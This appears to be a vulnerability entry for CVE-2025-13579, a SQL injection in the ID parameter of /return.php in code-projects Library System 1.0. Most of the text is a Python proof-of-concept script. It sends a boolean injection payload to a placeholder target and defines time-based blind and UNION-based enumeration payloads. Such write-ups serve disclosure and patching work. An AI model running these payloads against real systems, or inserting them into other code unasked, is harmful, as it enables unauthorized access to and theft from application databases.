CVE-2025-13579 code-projects Library System 1.0 /return.php SQL注入漏洞

import requests # CVE-2025-13579 SQL Injection PoC # Target: code-projects Library System 1.0 # Vulnerable Parameter: ID in /return.php target_url = "http://target-server/return.php" # Basic SQL Injection payload for ID parameter payload = "' OR '1'='1" params = {"ID": payload} try: response = requests.get(target_url, params=params, timeout=10) print(f"Status Code: {response.status_code}") print(f"Response Length: {len(response.text)}") if "error" not in response.text.lower() and response.status_code == 200: print("Potential vulnerable endpoint detected") except requests.exceptions.RequestException as e: print(f"Request failed: {e}") # Blind SQL Injection payload for data extraction blind_payload = "' AND (SELECT CASE WHEN (1=1) THEN SLEEP(5) ELSE 0 END)-- -" params_blind = {"ID": blind_payload} # Union-based injection for database enumeration union_payload = "' UNION SELECT 1,2,3,4,5,6,7,8-- -" params_union = {"ID": union_payload}